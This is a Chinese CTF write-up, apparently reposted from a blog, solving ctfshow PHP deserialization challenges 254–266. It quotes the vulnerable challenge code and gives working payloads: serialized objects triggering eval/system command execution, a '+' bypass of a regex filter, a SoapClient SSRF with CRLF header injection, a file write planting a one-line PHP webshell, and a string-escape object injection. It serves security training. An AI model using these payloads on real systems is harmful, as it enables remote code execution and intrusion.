iis服务器助手广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >ctfshow web入门 反序列化 前篇 254-266
  • 223
分享到

ctfshow web入门 反序列化 前篇 254-266

安全开发语言经验分享phplinux 2023-09-11 21:09:29 223人浏览 薄情痞子
摘要

这里266后面主要是框架,以后在讲 反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 WEB254

这里266后面主要是框架,以后在讲

反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结


WEB254

isVip;    }    public function login($u,$p){        if($this->username===$u&&$this->password===$p){            $this->isVip=true;        }        return $this->isVip;    }    public function vipOneKeyGetFlag(){        if($this->isVip){            global $flag;            echo "your flag is ".$flag;        }else{            echo "no vip, no flag";        }    }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){    $user = new ctfShowUser();    if($user->login($username,$password)){        if($user->checkVip()){            $user->vipOneKeyGetFlag();        }    }else{        echo "no vip,no flag";    }} 

这里分析一下,我们通过get可以传参两个值,这里他会自动new一个类,我们传的参就会被送入login中做强比较,只要我们传入的值等于$username和$passWord的值,我们就可以获得flag了

payload: ?username=xxxxxx&password=xxxxxx

web255

isVip;    }    public function login($u,$p){        return $this->username===$u&&$this->password===$p;    }    public function vipOneKeyGetFlag(){        if($this->isVip){            global $flag;            echo "your flag is ".$flag;        }else{            echo "no vip, no flag";        }    }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){    $user = unserialize($_COOKIE['user']);        if($user->login($username,$password)){        if($user->checkVip()){            $user->vipOneKeyGetFlag();        }    }else{        echo "no vip,no flag";    }}

这里和有一些是不一样的,就是我们通过cookie传参,还要进行一次反序列化,而且不会讲isVIP的值设置成true了,所以需要我们自己设置一下。

PHPclass ctfShowUser{    public $isVip=true; }echo urlencode(serialize(new ctfShowUser));
payload:    get传: ?username=xxxxxx&password=xxxxxx    cookie传: user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22true%22%3B%7D

web256

isVip;    }    public function login($u,$p){        return $this->username===$u&&$this->password===$p;    }    public function vipOneKeyGetFlag(){        if($this->isVip){            global $flag;            if($this->username!==$this->password){                    echo "your flag is ".$flag;              }        }else{            echo "no vip, no flag";        }    }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){    $user = unserialize($_COOKIE['user']);        if($user->login($username,$password)){        if($user->checkVip()){            $user->vipOneKeyGetFlag();        }    }else{        echo "no vip,no flag";    }}

 这里主要的就是这两部分,首先我们传入的值要等于他的值,然后username和password属性不能相等

    public function login($u,$p){        return $this->username===$u&&$this->password===$p;    }    if($this->username!==$this->password){        echo "your flag is ".$flag;    }

这里我们生成序列化,设置username为a,password为b,然后get传值a和b就可以了,注意如果下面使用了数字记得用引号包裹,因为我们通过get传输的值是字符串类型的,如果我们这里设置了整数型,那么这两个是不相等的。

phpclass ctfShowUser{    public $username='a';    public $password='b';     public $isVip=true; }echo urlencode(serialize(new ctfShowUser));
payload:    get传:?username=a&password=b    cookie传:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

class=new info();    }    public function login($u,$p){        return $this->username===$u&&$this->password===$p;    }    public function __destruct(){        $this->class->getInfo();    }}class info{    private $user='xxxxxx';    public function getInfo(){        return $this->user;    }}class backDoor{    private $code;    public function getInfo(){        eval($this->code);    }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){    $user = unserialize($_COOKIE['user']);    $user->login($username,$password);}

这里我们注意,先触发__construct,就是给class new了一个info类,他在最后会触发__destruct魔术方法,类中对应的getInfo()方法,但是backDoor类中才可以,我们可以任意命令执行,所以我们要将类执行backDoor。

他原本是用的是private,但是这个版本我们可以使用public

 class = new backDoor;echo urlencode(serialize($a));
payload: //flag在源代码中查看    get传:?username=xxxxxx&password=xxxxxx    cookie传: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

web258

 class=new info();    }    public function login($u,$p){        return $this->username===$u&&$this->password===$p;    }    public function __destruct(){        $this->class->getInfo();    }}class info{    public $user='xxxxxx';    public function getInfo(){        return $this->user;    }}class backDoor{    public $code;    public function getInfo(){        eval($this->code);    }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){        $user = unserialize($_COOKIE['user']);    }    $user->login($username,$password);}
这里相对于web257就加了一个过滤,这里我们可以使用加号绕过
 class = new backDoor;$b=serialize($a);$b = str_replace("O:11","O:+11",$b);$b = str_replace("O:8","O:+8",$b);echo urlencode($b);
payload: //flag在源代码中查看    get传:?username=xxxxxx&password=xxxxxx    cookie传: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

web259

getFlag();
//flag.phpHttp_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);if($ip!=='127.0.0.1'){die('error');}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}}

这里进去只有第一个代码,第二个是题目给我们的,这里扫描目录没有发现其他东西,那么证明基本就只有这两个东西。

这里flag.php中,这段代码只能在本地运行,因为它只接受来自本地IP地址(127.0.0.1)的请求,因为他只能接受本地的ip请求,那么我们的ip在怎么修改也不可能是127.0.0.1,除非存在类似ssrf之类的漏洞。

 这里第一段代码其实可以可以触发__call魔术方法,那么我们其实可以利用SoapClient类

具体理解可以去看我写的php反序列化总结-原生类-SoapClient

接下来我们先本地看看,嗯,没有什么问题

'http://192.168.31.154:54321',                    'user_agent'=> "aaa\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow",                    'uri'=>'http://192.168.31.154:54321'));$a -> a();

 这里我们通过,分隔,array_pop会弹出两个,获取第一个

就是说我们传入1.1.1.1,2.2.2.2,3.3.3.3

最后赋值给$ip的只有1.1.1.1

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);
//最终payload'http://127.0.0.1/flag.php',                    'user_agent'=> "aaa\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow",                    'uri'=>'hhttp://127.0.0.1/flag.php'));echo urlencode(serialize($a));
//传入以后访问flag.txt,获得flagpayload:     get传入: ?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A26%3A%22hhttp%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A137%3A%22aaa%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-fORM-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

web260

分析这里他是有进行正则匹配的,只要通过serialize序列化以后还有包括ctfshow_i_love_36D他就会输出flag,但是说只要传传入ctfshow_i_love_36D就会肯定有这个字符串
payload:    get传:?ctfshow=ctfshow_i_love_36D

web261

username=$u;        $this->password=$p;    }    public function __wakeup(){        if($this->username!='' || $this->password!=''){            die('error');        }    }    public function __invoke(){        eval($this->code);    }    public function __sleep(){        $this->username='';        $this->password='';    }    public function __unserialize($data){        $this->username=$data['username'];        $this->password=$data['password'];        $this->code = $this->username.$this->password;    }    public function __destruct(){        if($this->code==0x36d){            file_put_contents($this->username, $this->password);        }    }}unserialize($_GET['vip']); 

这里我们分析一下,有两个利用点

    public function __invoke(){        eval($this->code);    }     public function __destruct(){        if($this->code==0x36d){            file_put_contents($this->username, $this->password);        }    } 

但是说第一个eval就是一个陷阱,因为没有地方可以触发__invoke魔术方法

所以我们要触发file_put_contents

注意这里__unserialize是比__wakup优先的,这里赋值了code等于username加上password的值

    public function __unserialize($data){        $this->username=$data['username'];        $this->password=$data['password'];        $this->code = $this->username.$this->password;    }

 继续分析这里这里code,code等于的是一个16进制0x36d,所以就是要弱等于877,所以我们可以让username为877.php,他会检测到点就会停止,所以可以通过判断

    public function __destruct(){        if($this->code==0x36d){            file_put_contents($this->username, $this->password);        }    } 
//最终payload';}echo serialize(new ctfshowvip);
//然后访问887.php,通过一句话木马获得flagpayload:    get传:?vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"";}

web262

 from = $f;        $this->msg = $m;        $this->to = $t;    }}$f = $_GET['f'];$m = $_GET['m'];$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){    $msg = new message($f,$m,$t);    $umsg = str_replace('fuck', 'loveU', serialize($msg));    setcookie('msg',base64_encode($umsg));    echo 'Your message has been sent';}highlight_file(__FILE__);

喵的,我是真的没有看到上面还有一个message.php,扫目录扫了这么久,藏在这里我是真的没有想到

//message.php源码highlight_file(__FILE__);include('flag.php');class message{    public $from;    public $msg;    public $to;    public $token='user';    public function __construct($f,$m,$t){        $this->from = $f;        $this->msg = $m;        $this->to = $t;    }}if(isset($_COOKIE['msg'])){    $msg = unserialize(base64_decode($_COOKIE['msg']));    if($msg->token=='admin'){        echo $flag;    }}

方法1:

我们这里知道了获得flag的条件肯定是直接进行修改token属性的值了呗。

//payload1
payload:    cookie传:msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

方法二

按正常方法来我们肯定要使用字符串逃逸的

分析第一段代码,首先我们只能操作的只有f、m、t三个参数,要使token为admin就要覆盖token,我们创建一个token。

首先我们在本地正常序列化一段他的值,那么下面就是我们需要通过增加来拼接的段

";s:5:"token";s:5:"admin";}//长度27

那么就需要27个fuck,来往后移他的值,这里在本地给大家演示一下

通过本地演示,我们就可以知道他是用";s:5:"token";s:5:"admin";}和前面拼接,那么后面的值就被当成垃圾了

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}object(message)#1 (4) {  ["from"]=>  string(1) "1"  ["msg"]=>  string(1) "1"  ["to"]=>  string(135) "loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU"  ["token"]=>  string(5) "admin"}
payload:    get传:?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}//传输好后,他就自动将序列化的值传入cookie msg中,访问message.php就可以获得flag

web263

看这里,因为比较多,我重新搞一篇写这个

ctfshow web入门 反序列化 263

web264

刚一看,差点以为看错了,题目打开错了,但是仔细看还是有一些去区别,就是262从cookie传参变成了session传参,那么就没有第一种方法了

但是他是session的值,我们不能修改,但是session的名还是可以的

payload:    get传:?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}    cookie传:msg=1

web265

token=$t;        $this->password = $p;    }    public function login(){        return $this->token===$this->password;    }}$ctfshow = unserialize($_GET['ctfshow']);$ctfshow->token=md5(mt_rand());if($ctfshow->login()){    echo $flag;}

这里token他是等于一个随机值的md5,因为没有设置种子的原因, 我们是无法预测他的值是多少,但是password的值要和他相等,看似不可能,但是我们可以将token的值复制给password,那么他们的值一定相等。

//payload token = &$a -> password;echo serialize($a);
payload:    get传:?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

web266

username=$u;        $this->password=$p;    }    public function login(){        return $this->username===$this->password;    }    public function __toString(){        return $this->username;    }    public function __destruct(){        global $flag;        echo $flag;    }}$ctfshowo=@unserialize($cs);if(preg_match('/ctfshow/', $cs)){    throw new Exception("Error $ctfshowo",1);}

这里我们分析一下,因为php://input,那么$cs的值就是我们post传递的值,这里只要__destruct魔术方法执行,我们就可以获得flag,但是这里有一个判断只要我们传输的值有ctfshow就触发自定义报错,那么__destruct就不会执行。

这里我们可以使用大小写来绕过,比较他没有加i,就不会检测大小写。

//payload
payload:    post传:O:7:"CTFSHOW":2:{s:8:"username";N;s:8:"password";N;}//注意这里可以使用burp

 

来源地址:https://blog.csdn.net/m0_64815693/article/details/130005474

--结束END--

本文标题: ctfshow web入门 反序列化 前篇 254-266

本文链接: https://www.lsjlt.com/news/403734.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • ctfshow web入门 反序列化 前篇 254-266
    这里266后面主要是框架,以后在讲 反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 web254 ...
    99+
    2023-09-11
    安全 开发语言 经验分享 php linux
  • ctfshow web入门 反序列化 263
    因为这个,可能讲的要稍微多一点,所以单独另起一篇 基本 题目主要是session反序列化 我们主要了解这里就可以了 session.serialize_handler的引擎有看下面。 注:php_serialize是从5.5.4开始使用...
    99+
    2023-08-31
    前端 php 开发语言 经验分享
  • PHP的序列化和反序列化入门
    什么是PHP序列化 serialize() //将一个对象转换成一个字符串unserialize() //将字符串还原成一个对象 通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果...
    99+
    2023-10-27
    android
  • CTF之旅WEB篇(3)--ezunser PHP反序列化
    一、审题 对方朝你扔过来一串代码(当然这次又是蹭的题只说过程和思路): ...
    99+
    2023-09-17
    php 其他 经验分享
  • Java基础入门总结之序列化和反序列化
    目录基本概念序列化反序列化序列化和反序列化总结自定义序列化策略Externalizabletransient静态变量序列化ID破坏单例总结基本概念 Java中创建对象时,一旦程序终止...
    99+
    2024-04-02
  • PHP反序列化入门手把手详解
    PHP反序列化入门手把手详解 前言:文章内容大致可分为原理详解-漏洞练习- 防御方法。文章内容偏向于刚接触PHP反序列化的师傅,是一篇对PHP反序列化入门的手把手教学文章。文章特色在于对PHP反序...
    99+
    2023-10-20
    php 安全 web安全
  • PHP反序列化入门总结(小白必看)
    最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。php反序列化简单理解首先我们需要理解什么是序列化,什么是反序列化?PHP序列化:serialize()序列化是将变量或对象转换成字符串的过程,用于存...
    99+
    2023-05-14
    反序列化 php
  • PHP反序列化漏洞-从入门到提升
    目录 第一章 PHP序列化基础 1.1 PHP序列化 1.1.1 PHP序列化概述 1.1.2 标准序列化 1.1.3 自定义序列化 1.1.4 序列化存储和转发 1.2 PHP反序列化 1.2.1 标准反序列化 1.2.2 未定义类的反序...
    99+
    2023-09-05
    php web安全
  • PHP反序列化入门代码实例分析
    本文小编为大家详细介绍“PHP反序列化入门代码实例分析”,内容详细,步骤清晰,细节处理妥当,希望这篇“PHP反序列化入门代码实例分析”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。php反序列化简单理解首先我们需要...
    99+
    2023-07-05
  • PHP反序列化新手入门学习总结
    最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。 php反序列化简单理解 首先我们需要理解什么是序列化,什么是反序列化? PHP序列化:serialize()...
    99+
    2023-09-06
    php PHP反序列化 CTF
  • HTML入门:有序列表篇,打造结构化内容
    HTML 有序列表基础知识 HTML 有序列表是用于在网页中以有序的方式显示一组相关项目的列表。有序列表中的项目通常使用数字或字母作为序号,以表示它们的顺序。有序列表的 HTML 标签是 <ol>,而列表中的每个项目则使用 &...
    99+
    2024-02-02
    HTML 有序列表 网页 设计 SEO
  • 【从入门到起飞】IO高级流(1)(缓冲流,转换流,序列化流,反序列化流)
    🎊专栏【JavaSE】 🍔喜欢的诗句:天行健,君子以自强不息。 🎆音乐分享【如愿】 🎄欢迎并且感谢大家指出小吉的问题🥰...
    99+
    2023-10-11
    java 开发语言 io流
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作